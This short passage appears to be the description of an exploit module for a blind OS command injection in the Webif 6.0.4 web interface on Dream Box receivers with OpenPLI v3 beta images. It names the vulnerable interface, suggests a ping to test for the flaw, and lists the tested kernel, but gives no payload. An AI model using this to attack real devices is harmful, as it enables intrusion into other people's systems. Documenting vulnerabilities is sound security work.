          Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
        injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
        that you will not see any output of your command. A ping command can be used for
        testing the vulnerability.  This module has been tested in a box with the next
        features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
